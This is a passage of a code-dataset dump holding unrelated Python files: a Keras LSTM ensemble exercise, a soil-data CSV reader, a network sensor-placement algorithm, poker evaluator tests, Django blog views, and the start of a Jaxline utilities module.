print(dice[1])\n","sub_path":"inSSAFY/Baekjoon/14499_.py","file_name":"14499_.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"653236033","text":"# 열이 다른 앙상블 모델에 대해 공부!!!\n\nimport numpy as np\nfrom numpy import array\n\n# 1. 데이터\nx1 = np.array([[1,2], [2,3], [3,4], [4,5],\n [5,6], [6,7], [7,8], [8,9],\n [9,10], [10,11], \n [20,30], [30,40], [40,50]])\nx2 = np.array([[10,20,30], [20,30,40], [30,40,50], [40,50,60],\n [50,60,70], [60,70,80], [70,80,90], [80,90,100],\n [90,100,110], [100,110,120],\n [2,3,4], [3,4,5], [4,5,6]])\ny1 = np.array([[10,20,30], [20,30,40], [30,40,50], [40,50,60],\n [50,60,70], [60,70,80], [70,80,90], [80,90,100],\n [90,100,110], [100,110,120],\n [2,3,4], [3,4,5], [4,5,6]])\ny2 = array([4,5,6,7,8,9,10,11,12,13,50,60,70])\n\nx1_predict = array([55,65])\nx2_predict = array([65,75,85]) # (3,) -> (1, 3) -> (1, 3, 1)\n #Dense #LSTM \n\nprint(x1.shape) # (13, 2)\nprint(x2.shape) # (13, 3)\nprint(y1.shape) # (13, 3) \nprint(y2.shape) # (13,) \nprint(x1_predict.shape) # (2,) \nprint(x2_predict.shape) # (3,)\n\n\n#### 실습 : 앙상블 모델을 만드시오.\n\nfrom sklearn.model_selection import train_test_split\nx1_train, x1_test, y1_train, y1_test = train_test_split(\n x1, y1, shuffle = False, train_size = 0.8\n)\nx2_train, x2_test, y2_train, y2_test = train_test_split(\n x2, y2, shuffle = False, train_size = 0.8\n)\n\n# x1 = x1.reshape(13, 2, 1)\n# x2 = x2.reshape(13, 3, 1)\nx1 = x1.reshape(x1.shape[0], x1.shape[1], 1)\nx2 = x2.reshape(x2.shape[0], x2.shape[1], 1)\nx1_predict = x1_predict.reshape(1, 2, 1)\nx2_predict = x2_predict.reshape(1, 3, 1)\n\n# 2. 모델 구성\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Dense, LSTM, Input\n\n# 모델 1\ninput1 = Input(shape=(2, 1))\ndense1 = LSTM(100, activation='relu')(input1)\ndense1 = Dense(20, activation='relu')(dense1)\ndense1 = Dense(20, activation='relu')(dense1)\ndense1 = Dense(20, activation='relu')(dense1)\n\n# 모델 2\ninput2 = Input(shape=(3, 1))\ndense2 = LSTM(130, activation='relu')(input1)\ndense2 = Dense(20, activation='relu')(dense2)\ndense2 = Dense(20, activation='relu')(dense2)\ndense2 = Dense(20, activation='relu')(dense2)\n\n# 모델 병합 / concatenate\nfrom tensorflow.keras.layers import concatenate\nmerge1 = concatenate([dense1, dense2])\nmiddle1 = Dense(30)(merge1)\nmiddle1 = Dense(30)(merge1)\nmiddle1 = Dense(30)(merge1)\n\n\n# 모델 분기 1\noutput1 = Dense(30)(middle1)\noutput1 = Dense(100)(output1)\noutput1 = Dense(100)(output1)\noutput1 = Dense(3)(output1)\n\n# 모델 분기 2\noutput2 = Dense(30)(middle1)\noutput2 = Dense(100)(output2)\noutput2 = Dense(100)(output2)\noutput2 = Dense(1)(output2)\n\n# 모델 선언\nmodel = Model(inputs=[input1, input2], outputs=[output1, output2])\n\nmodel.summary()\n\n# 3. 컴파일, 훈련\nmodel.compile(loss='mse', optimizer='adam', metrics=['mae'])\n\nfrom tensorflow.keras.callbacks import EarlyStopping\nearly_stopping = EarlyStopping(monitor='loss', patience=30, mode='auto')\nmodel.fit([x1, x2], [y1, y2], epochs=3000, batch_size=1, validation_split=0.2, callbacks=[early_stopping], verbose=1)\n\n# 4. 평가, 예측\nresult = model.evaluate([x1, x2], [y1, y2], batch_size=1)\nprint(\"result : \", result)\n\ny_predict = model.predict([x1_predict, x2_predict])\nprint(\"y_predict : \", y_predict)\n\n# LSTM_ensemble\n# result : 12.404455184936523\n# y_predict : [[85.959]]\n\n# ensemble6_heng\n# ValueError: Data cardinality is ambiguous:\n# x sizes: 10, 13\n# y sizes: 10, 13\n\n# result : [28488.166015625, 28378.29296875, 109.87432098388672, 79.10661315917969, 5.041811943054199]\n# y_predict : [array([[529.68005, 569.1087 , 601.7425 ]], dtype=float32), array([[61.552765]], dtype=float32)]\n\n","sub_path":"Study/keras/keras30_ensemble7_yeol.py","file_name":"keras30_ensemble7_yeol.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"629868915","text":"import numpy as np\r\nimport pandas as pd\r\nimport os\r\nfrom Parameters import *\r\nimport csv as csv\r\n\r\nglobal H, Error_Min\r\nglobal FILEinput_Smap, FILEclean_Smap\r\n\r\n\r\ndef READ_Smap():\r\n # Reading the data\r\n DATA = pd.pandas.read_csv(FILEinput_Smap, header=0)\r\n\r\n # Removing Null\r\n DATA = pd.DataFrame.dropna(DATA, axis=0, how='any', thresh=None, subset=None, inplace=False)\r\n\r\n # Sorting the data\r\n DATA = pd.DataFrame.sort_values(DATA, by=['Site', 'Sibling', 'Layers'], ascending=[True, True, True])\r\n\r\n # Removing duplicates if any\r\n DATA = pd.DataFrame.drop_duplicates(DATA, subset=['Site', 'Sibling', 'Layers'])\r\n\r\n # Transforming from pandas to numpy\r\n SITEname = np.array(DATA['Site'])\r\n SIBLINGname = np.array(DATA['Sibling'])\r\n Zno = np.array(DATA['Layers'])\r\n Zthich = np.array(DATA['Thick'])\r\n H0 = np.array(DATA['WRC_0kPa'])\r\n H5 = np.array(DATA['WRC_5kPa'])\r\n H10 = np.array(DATA['WRC_10kPa'])\r\n H20 = np.array(DATA['WRC_20kPa'])\r\n H40 = np.array(DATA['WRC_40kPa'])\r\n H100 = np.array(DATA['WRC_100kPa'])\r\n H1500 = np.array(DATA['WRC_1500kPa'])\r\n\r\n Hunc0 = np.array(DATA['UNC_0kPa'])\r\n Hunc5 = np.array(DATA['UNC_5kPa'])\r\n Hunc10 = np.array(DATA['UNC_10kPa'])\r\n Hunc20 = np.array(DATA['UNC_20kPa'])\r\n Hunc40 = np.array(DATA['UNC_40kPa'])\r\n Hunc100 = np.array(DATA['UNC_100kPa'])\r\n Hunc1500 = np.array(DATA['UNC_1500kPa'])\r\n\r\n\r\n # Retrieving the length\r\n H_LEN = len(H)\r\n NO_Len = len(H0)\r\n Zno_Len = max(Zno)\r\n SIBLINGname_Unique = np.unique(SIBLINGname)\r\n SITEname_Unique = np.unique(SITEname)\r\n SIBLINGname_Len = len(SIBLINGname_Unique)\r\n SITEname_LEN_Smap = len(SITEname_Unique)\r\n\r\n # Putting the relationship between h and SM in a array\r\n Htheta_Smap_0 = np.zeros((NO_Len, H_LEN), dtype=None)\r\n for i in range(NO_Len):\r\n Htheta_Smap_0[i, 0] = H0[i]\r\n Htheta_Smap_0[i, 1] = H5[i]\r\n Htheta_Smap_0[i, 2] = H10[i]\r\n Htheta_Smap_0[i, 3] = H20[i]\r\n Htheta_Smap_0[i, 4] = H40[i]\r\n Htheta_Smap_0[i, 5] = H100[i]\r\n Htheta_Smap_0[i, 6] = H1500[i]\r\n\r\n Htheta_Smap_0[i, :] = Htheta_Smap_0[i, :] / 100.\r\n\r\n Htheta_Std_0 = np.zeros((NO_Len, H_LEN), dtype=None)\r\n for i in range(NO_Len):\r\n Htheta_Std_0[i, 0] = Hunc0[i]\r\n Htheta_Std_0[i, 1] = Hunc5[i]\r\n Htheta_Std_0[i, 2] = Hunc10[i]\r\n Htheta_Std_0[i, 3] = Hunc20[i]\r\n Htheta_Std_0[i, 4] = Hunc40[i]\r\n Htheta_Std_0[i, 5] = Hunc100[i]\r\n Htheta_Std_0[i, 6] = Hunc1500[i]\r\n\r\n # Computting Zmin and Zmax from Zthich\r\n Zmin = np.zeros(NO_Len, dtype=None)\r\n Zmax = np.zeros(NO_Len, dtype=None)\r\n for i in range(NO_Len):\r\n if Zno[i] == 1:\r\n Zmin[i] = 0.\r\n Zmax[i] = Zthich[i]\r\n else:\r\n Zmin[i] = Zmax[i - 1]\r\n Zmax[i] = Zmax[i - 1] + Zthich[i]\r\n\r\n # STORING THE DATA SUCH THAT IT DEPENDS ON SITEname, SIBLINGname, Zno\r\n\r\n # MEMORY\r\n Htheta_Smap = np.zeros((SITEname_LEN_Smap, SIBLINGname_Len, Zno_Len, H_LEN), dtype=None)\r\n Htheta_Std_Smap = np.zeros((SITEname_LEN_Smap, SIBLINGname_Len, Zno_Len, H_LEN), dtype=None)\r\n SiblingName_Max_Smap = np.zeros(SIBLINGname_Len, dtype=int) # Maximum of SIBLING for each SITE\r\n Zno_Max_Smap = np.zeros((SITEname_LEN_Smap, SIBLINGname_Len), dtype=int) # Maximum of DEPTH for each SIBLING of each SITE\r\n SITEname_Smap = np.zeros(SITEname_LEN_Smap, dtype='S30')\r\n SIBLINGname_Smap = np.empty((SITEname_LEN_Smap, SIBLINGname_Len), dtype='S30')\r\n Zmin_Smap = np.zeros((SITEname_LEN_Smap, SIBLINGname_Len, Zno_Len), dtype=None)\r\n Zmax_Smap = np.zeros((SITEname_LEN_Smap, SIBLINGname_Len, Zno_Len), dtype=None)\r\n\r\n i_SITE = 0\r\n i_SIBLING = 0\r\n for i in range(NO_Len):\r\n if i > 0 and SITEname[i] != SITEname[i - 1]:\r\n i_SITE += 1\r\n\r\n if i > 0 and SITEname[i] == SITEname[i - 1] and SIBLINGname[i] != SIBLINGname[i - 1]:\r\n i_SIBLING += 1\r\n elif SITEname[i] != SITEname[i - 1]:\r\n i_SIBLING = 0\r\n\r\n Htheta_Smap[i_SITE, i_SIBLING, Zno[i] - 1, 0:H_LEN] = Htheta_Smap_0[i, 0:H_LEN]\r\n Htheta_Std_Smap[i_SITE, i_SIBLING, Zno[i] - 1, 0:H_LEN] = Htheta_Std_0[i, 0:H_LEN]\r\n SITEname_Smap[i_SITE] = SITEname[i]\r\n SIBLINGname_Smap[i_SITE, i_SIBLING] = SIBLINGname[i]\r\n Zmin_Smap[i_SITE, i_SIBLING, Zno[i] - 1] = Zmin[i]\r\n Zmax_Smap[i_SITE, i_SIBLING, Zno[i] - 1] = Zmax[i]\r\n\r\n # Maximum value\r\n Zno_Max_Smap[i_SITE, i_SIBLING] += 1\r\n\r\n if Zno_Max_Smap[i_SITE, i_SIBLING] == 1:\r\n SiblingName_Max_Smap[i_SITE] += 1\r\n\r\n # Just for testing\r\n try:\r\n os.remove(FILEclean_Smap)\r\n except:\r\n pass\r\n\r\n SITEname_Smap_Output = np.zeros(NO_Len, dtype = 'S30')\r\n SIBLINGname_Smap_Output = np.zeros(NO_Len, dtype='S30')\r\n Htheta_Smap_Output = np.zeros((NO_Len, H_LEN), dtype=None)\r\n i_Zsmap_Output = np.zeros(NO_Len, dtype=None)\r\n Zmin_Smap_Output = np.zeros(NO_Len, dtype=None)\r\n Zmax_Smap_Output = np.zeros(NO_Len, dtype=None)\r\n\r\n Icount = 0\r\n for i_SITE in range(SITEname_LEN_Smap):\r\n for i_SIBLING in range(SiblingName_Max_Smap[i_SITE]):\r\n for i_Zsmap in range(Zno_Max_Smap[i_SITE, i_SIBLING]):\r\n # print(SITEname_Smap[i_SITE], SIBLINGname_Smap[i_SITE, i_SIBLING], Htheta_Smap[i_SITE, i_SIBLING, i_Zsmap, 0:H_LEN])\r\n\r\n SITEname_Smap_Output[Icount] = SITEname_Smap[i_SITE]\r\n SIBLINGname_Smap_Output[Icount] = SIBLINGname_Smap[i_SITE, i_SIBLING]\r\n Htheta_Smap_Output[Icount, 0:H_LEN] = Htheta_Smap[i_SITE, i_SIBLING, i_Zsmap, 0:H_LEN]\r\n Zmin_Smap_Output[Icount] = Zmin_Smap[i_SITE, i_SIBLING, i_Zsmap]\r\n Zmax_Smap_Output[Icount] = Zmax_Smap[i_SITE, i_SIBLING, i_Zsmap]\r\n\r\n i_Zsmap_Output[Icount] = i_Zsmap + 1\r\n\r\n Icount += 1\r\n\r\n Count = Icount\r\n HEADER = 'SITE, SIBLING, Layers, Zmin, Zmax, H0, H5, H10, H20, H40, H100, H1500'\r\n np.savetxt(FILEclean_Smap, np.c_[SITEname_Smap_Output[0:Count], SIBLINGname_Smap_Output[0:Count], i_Zsmap_Output[0:Count], Zmin_Smap_Output[0:Count], Zmax_Smap_Output[0:Count], Htheta_Smap_Output[0:Count, 0:H_LEN]], comments='', delimiter=',', header = HEADER, fmt='%s')\r\n\r\n return Zno_Max_Smap, Zmin_Smap, Zmax_Smap, SITEname_LEN_Smap, SITEname_Smap, SIBLINGname_Smap, SiblingName_Max_Smap, Htheta_Smap, Htheta_Std_Smap, H_LEN\r\n\r\n","sub_path":"READ_Smap.py","file_name":"READ_Smap.py","file_ext":"py","file_size_in_byte":6468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"466961244","text":"# This is the deterministic approach to solving the sensor placement problem\n# Written by: Joshua Rinaldi\n# AFIT/ENG CSCE 686, Spring 2021 Final Project\n\n# Object class for the vertex\n\nclass Vertex(object):\n def __init__(self, name, numVulns, neighborList, type, numNeighbors ):\n self.name = name\n self.numVulns = numVulns\n self.neighbors = {}\n self.neighborList = neighborList\n self.numNeighbors = numNeighbors\n self.type = type\n\n def __str__(self) -> str:\n return str(self.name)\n\n# This will read through the file until it hits a stopping character, creating a new vertex\ndef makeVertex(file_lines):\n name = file_lines.pop(0)\n name = int(name)\n type = file_lines.pop(0)\n numVulns = file_lines.pop(0)\n numVulns = int(numVulns)\n numNeighbors = file_lines.pop(0)\n numNeighbors = int(numNeighbors)\n neighborList = []\n while file_lines[0] != \"#\":\n n = file_lines.pop(0)\n n = int(n)\n neighborList.append(n)\n file_lines.pop(0)\n newVertex = Vertex(name, numVulns, neighborList, type, numNeighbors)\n\n return newVertex\n\n\n# Initialization function. It will ingest a user indicated file and return that as a useable\n# array of vertices in the graph\ndef initializeGraph(fileName = None):\n if not fileName:\n fileName = input(\"Graph file name: \")\n file = open(\"{}\".format(fileName), 'r')\n file_lines = file.readlines()\n\n # removes return character from lines\n for line in range(0,len(file_lines)):\n file_lines[line] = file_lines[line].replace('\\n', '')\n\n vertices = []\n edgeNodes = []\n targetNodes = []\n\n while len(file_lines) > 0:\n vertex = makeVertex(file_lines)\n vertices.append(vertex)\n if vertex.type == \"E\": edgeNodes.append(vertex)\n elif vertex.type == \"T\": targetNodes.append(vertex)\n\n file.close()\n\n # now that all vertexes are made, create dictionary mapping each neighbor to the vertex object for that neighbor\n # this is done, instead of a matrix as indicated in the paper for simplicity's sake\n for vertex in vertices:\n for n in vertex.neighborList:\n for v in vertices:\n if n == v.name:\n vertex.neighbors[n] = v\n\n return (vertices, edgeNodes, targetNodes)\n\n# this function computes the likelihood of moving to the next node\ndef likelihood(vertex, path):\n vertInPath = 1\n if vertex in path:\n vertInPath = 0\n \n sumNeighVulns = 0\n numNeighs = 0\n for neigh in vertex.neighbors:\n if (neigh in path) == False:\n sumNeighVulns += vertex.neighbors[neigh].numVulns\n numNeighs += 1\n \n likelihood = vertInPath * vertex.numVulns * (sumNeighVulns / numNeighs)\n\n return likelihood\n\n# This function will actually do the finding of paths through network\ndef findPaths(path, vertices, targetNodes, edgesofInterest):\n vCur = path[len(path)-1]\n if vCur in targetNodes:\n # append edges to the edgesOfInterest list\n # up to this point, paths are just a series of vertices, edges will be defined as a tuple\n # (s, d, w), where s = source vertex, d = destination vertex, w = weight = vuln of dest\n totalVulns = 0\n for v in path:\n totalVulns += v.numVulns\n pathScore = totalVulns / (len(path) ** 3)\n \n for e in range(len(path)-1):\n newEdge = \"{},{}\".format(path[e].name, path[e+1].name)\n if newEdge in edgesofInterest:\n edgesofInterest[newEdge] += pathScore\n else:\n edgesofInterest[newEdge] = pathScore\n\n\n else:\n likelihoods = []\n for neighbor in vCur.neighbors:\n l_neigh = likelihood(vCur.neighbors[neighbor], path)\n likelihoods.append((neighbor, l_neigh))\n likelihoods = sorted(likelihoods,key=lambda x:(-x[1]))\n \n for next in likelihoods:\n if next[1] != 0:\n newPath = path.copy()\n newPath.append(vCur.neighbors[next[0]])\n findPaths(newPath, vertices, targetNodes, edgesofInterest)\n\n\n\n\ndef determDriver(file = None, numSens = None):\n # first up, ingest the graph file and create the data and data structures that we'll need\n (vertices, edgeNodes, targetNodes) = initializeGraph(file)\n edgesOfInterest = {}\n if not numSens:\n numSens = input(\"Number of available sensors: \")\n numSens = int(numSens)\n solutionSet = []\n\n # find all potential paths from edge nodes to target nodes\n for node in edgeNodes:\n path = []\n path.append(node)\n findPaths(path, vertices, targetNodes, edgesOfInterest)\n\n # pull the most likely edges out of edgesOfInterest and return them\n listOfEdges = []\n # print(\"Our edges of interest are:\")\n for edge in edgesOfInterest:\n listOfEdges.append((edge, edgesOfInterest[edge]))\n # print(\"edge: {}, edge score: {}\".format(edge, edgesOfInterest[edge]))\n\n listOfEdges = sorted(listOfEdges,key=lambda x:(-x[1]))\n\n for i in range(numSens):\n solutionSet.append(listOfEdges.pop(0))\n \n print(\"\\nThe edges to places sensors on are: \")\n for i in range(len(solutionSet)):\n print(\"{}\".format(solutionSet[i][0]))\n\n# determDriver()\n\n# print(\"Finished Execution\")","sub_path":"deterministic.py","file_name":"deterministic.py","file_ext":"py","file_size_in_byte":5312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"385326414","text":"import unittest\ntry:\n import test.support as test_support\nexcept ImportError:\n from test import test_support \n\nfrom pokereval.card import Card\nfrom pokereval.hand_evaluator import HandEvaluator\n\n\nclass TwoCardsTestCase(unittest.TestCase):\n\n def test_two_cards(self):\n hole = [Card(2, 1), Card(2, 2)]\n board = []\n score = HandEvaluator.evaluate_hand(hole, board)\n self.assertEqual(score, 0.52337858220211153)\n\n\nclass FiveCardsTestCase(unittest.TestCase):\n\n def test_five_cards(self):\n hole = [Card(2, 1), Card(2, 2)]\n board = [Card(2, 3), Card(3, 3), Card(4, 3)]\n score = HandEvaluator.evaluate_hand(hole, board)\n self.assertEqual(score, 0.9250693802035153)\n\n\nclass SixCardsTestCase(unittest.TestCase):\n\n def test_five_cards(self):\n hole = [Card(2, 1), Card(2, 2)]\n board = [Card(2, 3), Card(3, 3), Card(4, 3), Card(5, 3)]\n score = HandEvaluator.evaluate_hand(hole, board)\n self.assertEqual(score, 0.4405797101449275)\n\n\nclass SevenCardsTestCase(unittest.TestCase):\n\n def test_five_cards(self):\n hole = [Card(2, 1), Card(2, 2)]\n board = [Card(2, 3), Card(3, 3), Card(4, 3), Card(5, 3), Card(5, 4)]\n score = HandEvaluator.evaluate_hand(hole, board)\n self.assertEqual(score, 0.8909090909090909)\n\n\ndef test_main():\n test_support.run_unittest(TwoCardsTestCase,\n FiveCardsTestCase,\n SixCardsTestCase,\n SevenCardsTestCase,\n )\n\n\nif __name__ == \"__main__\":\n test_main()\n","sub_path":"pokereval/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"254108662","text":"# -*- coding:utf-8 -*-\nfrom django.shortcuts import render, get_object_or_404\nfrom django.views.generic import ListView, DetailView, View\n\nfrom models import Post, Category, Tag\nfrom comments.utils import AjaxCapableProcessFormViewMixin\nfrom comments.forms import CommentFrom\n\nimport logging\nimport sys\n\nreload(sys)\n\nsys.setdefaultencoding('utf-8')\nlogger = logging.getLogger('blog.views')\n\nclass HomePage(ListView):\n \"\"\"\n 博客主页,��示博客列表\n \"\"\"\n template_name = 'blog/home.html'\n model = Post\n paginate_by = 5\n\n def dispatch(self, request, *args, **kwargs):\n return super(HomePage, self).dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n \"\"\"\n\n :param kwargs:\n :return:\n \"\"\"\n try:\n context = super(HomePage, self).get_context_data(**kwargs)\n paginator = context.get('paginator')\n page_obj = context.get('page_obj')\n is_paginated = context.get('is_paginated')\n\n pagination_data = self.get_pagination_data(paginator, page_obj, is_paginated)\n context.update(pagination_data)\n # context['error_msg'] = '搜索博客' #这个变量是导航搜索框用的\n return context\n except Exception as e:\n logger.error(e)\n\n def get_pagination_data(self, paginator, page, is_paginated):\n \"\"\"\n\n :param paginator:\n :param page:\n :param is_paginated:\n :return:\n \"\"\"\n try:\n # 如果没有分页,则无需显示分页导航条,不用任何分页导航条的数据,因此返回一个空的字典\n if not is_paginated:\n return {}\n\n # 当前页左边连续的页码号,初始值为空\n left = []\n # 当前页右边连续的页码号,初始值为空\n right = []\n\n # 标示第 1 页页码后是否需要显示省略号\n left_has_more = False\n # 标示最后一页页码前是否需要显示省略号\n right_has_more = False\n\n # 标示是否需要显示第 1 页的页码号。\n # 因为如果当前页左边的连续页码号中已经含有第 1 页的页码号,此时就无需再显示第 1 页的页码号,\n # 其它情况下第一页的页码是始终需要显示的。\n # 初始值为 False\n first = False\n # 标示是否需要显示最后一页的页码号。\n # 需要此指示变量的理由和上面相同。\n last = False\n\n # 获得用户当前请求的页码号\n page_number = page.number\n # 获得分页后的总页数\n total_pages = paginator.num_pages\n # 获得整个分页页码列表,比如分了四页,那么就是 [1, 2, 3, 4]\n page_range = paginator.page_range\n\n if page_number == 1:\n # 如果用户请求的是第一页的数据,那么当前页左边的不需要数据,因此 left=[](已默认为空)。\n # 此时只要获取当前页右边的连续页码号,\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 right = [2, 3]。\n # 注意这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n right = page_range[page_number:page_number + 2]\n # 如果最右边的页码号比最后一页的页码号减去 1 还要小,\n # 说明最右边的页码号和最后一页的页码号之间还有其它页码,因此需要显示省略号,通过 right_has_more 来指示。\n if right[-1] < total_pages - 1:\n right_has_more = True\n # 如果最右边的页码号比最后一页的页码号小,说明当前页右边的连续页码号中不包含最后一页的页码\n # 所以需要显示最后一页的页码号,通过 last 来指示\n if right[-1] < total_pages:\n last = True\n elif page_number == total_pages:\n # 如果用户请求的是最后一页的数据,那么当前页右边就不需要数据,因此 right=[](已默认为空),\n # 此时只要获取当前页左边的连续页码号。\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 left = [2, 3]\n # 这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n # 如果最左边的页码号比第 2 页页码号还大,\n # 说明最左边的页码号和第 1 页的页码号之间还有其它页码,因此需要显示省略号,通过 left_has_more 来指示。\n if left[0] > 2:\n left_has_more = True\n # 如果最左边的页码号比第 1 页的页码号大,说明当前页左边的连续页码号中不包含第一页的页码,\n # 所以需要显示第一页的页码号,通过 first 来指示\n if left[0] > 1:\n first = True\n else:\n # 用户请求的既不是最后一页,也不是第 1 页,则需要获取当前页左右两��的连续页码号,\n # 这里只获取了当前页码前后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n right = page_range[page_number:page_number + 2]\n # 是否需要显示最后一页和最后一页前的省略号\n if right[-1] < total_pages - 1:\n right_has_more = True\n if right[-1] < total_pages:\n last = True\n # 是否需要显示第 1 页和第 1 页后的省略号\n if left[0] > 2:\n left_has_more = True\n if left[0] > 1:\n first = True\n data = {\n 'left': left,\n 'right': right,\n 'left_has_more': left_has_more,\n 'right_has_more': right_has_more,\n 'first': first,\n 'last': last\n }\n\n return data\n\n except Exception as e:\n logger.error(e)\n\nclass BlogDetail(AjaxCapableProcessFormViewMixin, DetailView):\n \"\"\"\n 博客内容页面\n \"\"\"\n model = Post\n template_name = 'blog/blog-detail.html'\n form_class = CommentFrom\n\n def get(self, request, *args, **kwargs):\n try:\n response = super(BlogDetail, self).get(request, *args, **kwargs)\n self.object.increase_views() # 统计页面访问量\n return response\n\n except Exception as e:\n logger.error(e)\n\n def get_context_data(self, **kwargs):\n try:\n context = super(BlogDetail, self).get_context_data(**kwargs)\n form = CommentFrom(self.request.POST)\n context['form'] = form\n return context\n except Exception as e:\n logger.error(e)\n\n def get_object(self, queryset=None):\n try:\n object = super(BlogDetail, self).get_object()\n return object\n except Exception as e:\n logger.error(e)\n\n def get_form(self, form_class=None):\n try:\n form = self.form_class(self.request.POST)\n return form\n except Exception as e:\n logger.error(e)\n\n\nclass BlogArchives(ListView):\n \"\"\"\n 博客归档,列表\n \"\"\"\n template_name = 'blog/home.html'\n\n def get_queryset(self):\n try:\n post_list = Post.objects.filter(\n created_time__year=self.kwargs.get('year'),\n created_time__month=self.kwargs.get('month')\n ).order_by('-created_time')\n\n return post_list\n except Exception as e:\n logger.error(e)\n\n\nclass BlogCategories(ListView):\n \"\"\"\n 博客分类列表\n \"\"\"\n template_name = 'blog/home.html'\n\n def get_queryset(self):\n try:\n cate = get_object_or_404(Category, pk=self.kwargs.get('pk'))\n post_list = Post.objects.filter(category=cate).order_by('-created_time')\n return post_list\n except Exception as e:\n logger.error(e)\n\n\nclass BlogTags(ListView):\n \"\"\"\n 标签云\n \"\"\"\n template_name = 'blog/home.html'\n\n def get_queryset(self):\n try:\n tag = get_object_or_404(Tag, pk=self.kwargs.get('pk'))\n return Post.objects.filter(tags=tag).order_by('-created_time')\n except Exception as e:\n logger.error(e)\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"583217056","text":"# Copyright 2020 DeepMind Technologies Limited. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Utility functions for Jaxline experiments.\"\"\"\n\nimport collections\nfrom concurrent import futures\nimport contextlib\nimport copy\nimport enum\nimport functools\nimport pdb\nimport queue\nimport sys\nimport threading\n\nfrom typing import Any, Callable, Dict, Generator, Iterable, Mapping, TypeVar\n\nfrom absl import flags\nfrom absl import logging\n\nimport chex\nimport jax\nimport jax.numpy as jnp\nfrom ml_collections import config_dict\nfrom typing_extensions import Protocol\nimport wrapt\n\n# TODO(mjoneill): Make flag more informative after copybara is set up\n_JAXLINE_POST_MORTEM = flags.DEFINE_bool(\n \"jaxline_post_mortem\", False,\n \"Whether to enter into post-mortem after an exception. \")\n\n_JAXLINE_DISABLE_PMAP_JIT = flags.DEFINE_bool(\n \"jaxline_disable_pmap_jit\", False,\n \"Whether to disable all pmaps and jits, making it easier to inspect and \"\n \"trace code in a debugger.\")\n\nSnapshotNT = collections.namedtuple(\"SnapshotNT\", [\"id\", \"pickle_nest\"])\nCheckpointNT = collections.namedtuple(\"CheckpointNT\", [\"active\", \"history\"])\n\nT = TypeVar(\"T\")\n\n\nclass Writer(Protocol):\n \"\"\"Interface for writers/loggers.\"\"\"\n\n def write_scalars(self, global_step: int, scalars: Mapping[str, Any]):\n \"\"\"Writes a dictionary of scalars.\"\"\"\n\n\nclass Checkpointer(Protocol):\n \"\"\"An interface for checkpointer objects.\"\"\"\n\n def save(self, ckpt_series: str) -> None:\n \"\"\"Saves the checkpoint.\"\"\"\n\n def restore(self, ckpt_series: str) -> None:\n \"\"\"Restores the checkpoint.\"\"\"\n\n def get_experiment_state(self, ckpt_series: str):\n \"\"\"Returns the experiment state for a given checkpoint series.\"\"\"\n\n def restore_path(self, ckpt_series: str) -> str:\n \"\"\"Returns the restore path for the checkpoint.\"\"\"\n\n def can_be_restored(self, ckpt_series: str) -> bool:\n \"\"\"Returns whether or not a given checkpoint series can be restored.\"\"\"\n\n\ndef py_prefetch(\n iterable_function: Callable[[], Iterable[T]],\n buffer_size: int = 5) -> Generator[T, None, None]:\n \"\"\"Performs prefetching of elements from an iterable in a separate thread.\n\n Args:\n iterable_function: A python function that when called with no arguments\n returns an iterable. This is used to build a fresh iterable for each\n thread (crucial if working with tensorflow datasets because tf.graph\n objects are thread local).\n buffer_size (int): Number of elements to keep in the prefetch buffer.\n\n Yields:\n Prefetched elements from the original iterable.\n Raises:\n ValueError if the buffer_size <= 1.\n Any error thrown by the iterable_function. Note this is not raised inside\n the producer, but after it finishes executing.\n \"\"\"\n\n if buffer_size <= 1:\n raise ValueError(\"the buffer_size should be > 1\")\n\n buffer = queue.Queue(maxsize=(buffer_size - 1))\n producer_error = []\n end = object()\n\n def producer():\n \"\"\"Enques items from iterable on a given thread.\"\"\"\n try:\n # Build a new iterable for each thread. This is crucial if working with\n # tensorflow datasets because tf.graph objects are thread local.\n iterable = iterable_function()\n for item in iterable:\n buffer.put(item)\n except Exception as e: # pylint: disable=broad-except\n logging.exception(\"Error in producer thread for %s\",\n iterable_function.__name__)\n producer_error.append(e)\n finally:\n buffer.put(end)\n\n threading.Thread(target=producer, daemon=True).start()\n\n # Consumer.\n while True:\n value = buffer.get()\n if value is end:\n break\n yield value\n\n if producer_error:\n raise producer_error[0]\n\n# TODO(tomhennigan) Remove this alias.\ntree_psum = jax.lax.psum\n\n\ndef get_first(xs):\n \"\"\"Gets values from the first device.\"\"\"\n return jax.tree_map(lambda x: x[0], xs)\n\n\ndef bcast_local_devices(value):\n \"\"\"Broadcasts an object to all local devices.\"\"\"\n devices = jax.local_devices()\n return jax.tree_map(\n lambda v: jax.api.device_put_sharded(len(devices) * [v], devices), value)\n\n\ndef make_async(thread_name_prefix=\"\"):\n \"\"\"Returns a decorator that runs any function it wraps in a background thread.\n\n When called, the decorated function 